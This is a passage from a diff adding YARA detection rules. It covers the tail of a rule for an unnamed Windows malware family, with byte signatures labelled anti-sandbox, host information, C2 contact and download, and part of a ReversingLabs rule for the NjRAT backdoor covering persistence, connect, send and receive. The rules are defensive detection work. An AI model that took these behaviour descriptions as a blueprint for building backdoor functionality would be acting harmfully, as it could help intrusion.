+            48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ??
+            48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8
+            ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 15 ??
+            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 89
+            C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89
+            C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D
+            45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48
+            8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ??
+            48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 8B 45 ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3
+        }
+		$contact_c2_server = {
+            55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 48 8D 45
+            ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ??
+            ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 50 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ??
+            ?? ?? 48 8B 55 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 4C 8D 45
+            ?? 48 8B 55 ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 4D ?? 48 89 4C 24 ?? 4D 89
+            C1 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
+            48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48
+            8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1
+            E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ??
+            ?? 48 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 55 ??
+            48 8B 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? BB
+            ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89 D8
+            EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89
+            C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ??
+            48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89
+            C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1
+            E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3
+        }
+		$parse_c2_response = {
+            55 53 48 83 EC ?? 48 8D 6C 24 ?? 48 89 4D ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48
+            8D 55 ?? 48 8D 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
+            ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ??
+            ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8
+            ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 48 8B 55 ?? 48
+            8B 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B
+            55 ?? 48 01 C2 48 8B 45 ?? 49 89 D0 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
+            ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89
+            D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48
+            89 C1 E8 ?? ?? ?? ?? 90 48 83 C4 ?? 5B 5D C3
+        }
+		$download_file_from_c2_p1 = {
+            55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 4C 89 45
+            ?? 4C 89 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 5D ?? 48 8B 55 ??
+            48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ??
+            ?? 49 89 D0 48 89 C2 48 89 D9 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 88 45 ?? 48 8D 85 ?? ??
+            ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 0F B6 45 ?? 83 F0 ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 85
+            ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ??
+            48 89 C2 48 8D 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF
+            D0 89 45 ?? 83 7D ?? ?? 0F 95 C0 84 C0 74 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48
+            8D 55 ?? 48 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
+            ?? 48 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ??
+            48 89 C1 E8 ?? ?? ?? ?? 48 89 C2 48 8B 45 ?? 49 89 D9 49 89 D0 BA ?? ?? ?? ?? 48 89
+            C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48
+        }
+		$download_file_from_c2_p2 = {
+            89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1
+            E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48 8B 55 ?? 49
+            89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05
+            ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 4D ?? 48 8D 55 ?? 49 89 C8 48
+            89 C1 E8 ?? ?? ?? ?? 90 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8
+            ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ??
+            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
+            EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89
+            C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3
+            48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8B
+            45 ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3
+        }
+		$reply_to_c2_server = {
+            55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 4C 89 45
+            ?? 4C 89 4D ?? 48 8B 55 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ??
+            48 8B 55 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8B 55 ?? 49 89
+            D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ??
+            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 8D ?? ?? ?? ?? 48 8D 55 ?? 49 89
+            C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8
+            ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8
+            ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
+            48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB
+            ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1
+            E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48
+            8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81
+            C4 ?? ?? ?? ?? 5B 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($anti_sandbox_detect_environment) and ($collect_host_information) and ($contact_c2_server) and ($parse_c2_response) and ( all of ($download_file_from_c2_p*)) and ($reply_to_c2_server)
+}
+rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Njrat : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects NjRAT backdoor."
+		author = "ReversingLabs"
+		id = "578c813f-4bba-52cd-bcc7-4de2c3943cf7"
+		date = "2024-07-31"
+		modified = "2024-07-31"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/ByteCode.MSIL.Backdoor.NjRAT.yara#L1-L266"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "eeecf90965e6952d8b9efc9d1e96eaa47709b1d69fc7d435f4aebaaf0191f317"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "NjRAT"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$persistence_mechanism_v1_p1 = {
+        00 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 7E ?? ?? ??
+        ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ??
+        ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 16 2B ?? 17 13 ?? 11 ?? 39 ?? ?? ?? ??
+        00 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ??
+        7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 7E ?? ?? ?? ?? 28 ??
+        ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ??
+        ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ??
+        ?? ?? ?? 17 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ??
+        ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 0A
+        00 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 00 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16
+        72 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 00 11 ?? 18 72 ?? ??
+        ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 00 11 ?? 1A 72 ?? ?? ?? ?? A2
+        00 11 ?? 28 ?? ?? ?? ?? 16 16 15 28 ?? ?? ?? ?? 26 DE ?? 25 28 ?? ?? ?? ?? 0B 00 28
+        ?? ?? ?? ?? DE ?? 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F
+        ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ??
+        ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
+        DE ?? 25 28 ?? ?? ?? ?? 0C 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? ?? 6F ?? ?? ??
+        ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E
+        ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25
+    }
+		$persistence_mechanism_v1_p2 = {
+        28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00
+        28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 1D 28 ?? ?? ?? ??
+        72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 00 1D
+        28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 19 73 ??
+        ?? ?? ?? 80 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00
+        7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 16
+        15 28 ?? ?? ?? ?? 26 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 18 28 ??
+        ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ??
+        ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 13 ?? 18 13 ?? 28
+        ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 13 ??
+        11 ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 00 28 ?? ?? ?? ?? 11 ?? 11
+        ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 11 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ??
+        00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 72 ?? ?? ?? ??
+        11 ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11
+        ?? 72 ?? ?? ?? ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 72 ?? ?? ?? ??
+        11 ?? 28 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 11
+        ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28
+    }
+		$connect_v1_p1 = {
+        00 16 80 ?? ?? ?? ?? 20 D0 07 00 00 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 0B 00 07 13 ??
+        11 ?? 28 ?? ?? ?? ?? 00 00 00 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11
+        ?? 2C ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 14 80 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ??
+        ?? 0C 00 28 ?? ?? ?? ?? DE ?? 00 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25 28
+        ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ??
+        ?? ?? DE ?? 00 00 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ??
+        ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? ??
+        ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ??
+        6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 18
+        8D ?? ?? ?? ?? 13 ?? 11 ?? 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ??
+        ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2
+        00 11 ?? 14 14 14 17 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
+        28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 17 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 00
+        72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ??
+        ?? ?? ?? 13 ?? 11 ?? 2C ?? 11 ?? 7F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
+        ?? ?? ?? 13 ?? 2B ?? 00 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ??
+        ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
+    }
+		$connect_v1_p2 = {
+        00 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 11 ?? A2 00
+        11 ?? 17 7E ?? ?? ?? ?? A2 00 11 ?? 18 72 ?? ?? ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ??
+        A2 00 11 ?? 1A 72 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ??
+        ?? A2 00 11 ?? 18 72 ?? ?? ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? A2 00 11 ?? 1A 72 ??
+        ?? ?? ?? A2 00 11 ?? 1B 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1C 72 ?? ?? ?? ??
+        A2 00 11 ?? 1D 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1E 72 ?? ?? ?? ?? A2 00 11
+        ?? 1F ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ??
+        1F ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F
+        ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ??
+        7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 7E
+        ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 7E ??
+        ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 7E ?? ?? ??
+        ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 25 28 ?? ?? ?? ?? 13
+        ?? 00 28 ?? ?? ?? ?? DE ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 16 80 ?? ?? ?? ?? 28
+        ?? ?? ?? ?? DE ?? 00 00 DE ?? 11 ?? 28 ?? ?? ?? ?? 00 DC 7E ?? ?? ?? ?? 0A 2B ?? 06
+    }
+		$send_v1 = {
+        00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 16 0A 38 ?? ?? ?? ?? 00 00 7E ??
+        ?? ?? ?? 0B 00 07 13 ?? 11 ?? 28 ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13
+        ?? 11 ?? 2C ?? 16 0A DD ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 13 ?? 02 8E B7 0D 12 ?? 28 ??
+        ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 0C 11 ?? 08 16 08
+        8E B7 6F ?? ?? ?? ?? 00 11 ?? 02 16 02 8E B7 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ??
+        ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 16 11 ?? 6F ?? ?? ?? ?? B7 16 6F ?? ?? ?? ?? 26 00 DE
+        ?? 11 ?? 28 ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 11 ?? 28 ?? ?? ?? ??
+        00 11 ?? 13 ?? 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 16 80 ?? ?? ?? ?? 7E ?? ?? ?? ??
+        6F ?? ?? ?? ?? 00 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 28 ??
+        ?? ?? ?? DE ?? 00 7E ?? ?? ?? ?? 0A 2B ?? 06
+    }
+		$receive_v1_p1 = {
+        00 00 00 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ??
+        13 ?? 11 ?? 39 ?? ?? ?? ?? 15 6A 0A 16 0B 00 00 00 07 17 D6 0B 07 1F ?? (FE | 01) ??
+        13 ?? 11 ?? 2C ?? 16 0B 17 28 ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 ??
+        11 ?? 2C ?? 00 DD ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 (FE | 04) ?? 13 ??
+        11 ?? 2C ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 15 16 6F ?? ?? ?? ?? 26 00 00 00 7E ?? ??
+        ?? ?? 6F ?? ?? ?? ?? 16 (FE | 02) ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 06 15 6A (FE | 01) ??
+        13 ?? 11 ?? 39 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ??
+        ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 00 11 ?? 15 59 13 ?? 11 ?? 45 ?? ?? ?? ?? ?? ?? ?? ??
+        ?? ?? ?? ?? 2B ?? 00 00 DD ?? ?? ?? ?? 2B ?? 00 11 ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ??
+        ?? 13 ?? 06 16 6A (FE | 01) ?? 13 ?? 11 ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 15
+        6A 0A 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 (FE | 02) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C
+        ?? 38 ?? ?? ?? ?? 00 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ??
+        ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 00 17 13 ?? 11 ?? 3A ??
+        ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 D6 17 DA 17 D6 8D ?? ?? ?? ?? 80 ?? ??
+        ?? ?? 06 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DA 0D 7E ?? ?? ?? ?? 8E B7 6A 09 (FE | 02)
+    }
+		$receive_v1_p2 = {
+        13 ?? 11 ?? 2C ?? 09 17 6A DA B7 17 D6 17 DA 17 D6 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 00
+        7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E B7 16 6F ?? ?? ??
+        ?? 0C 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 08 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ??
+        ?? ?? 06 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 15 6A 0A 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ??
+        ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
+        11 ?? 1F ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 80 ??
+        ?? ?? ?? 00 38 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ??
+        00 00 00 00 00 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 7E ??
+        ?? ?? ?? 28 ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 14 14 14 17 28 ?? ?? ??
+        ?? 26 14 80 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00
+        16 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 2B ?? 00 17 80 ??
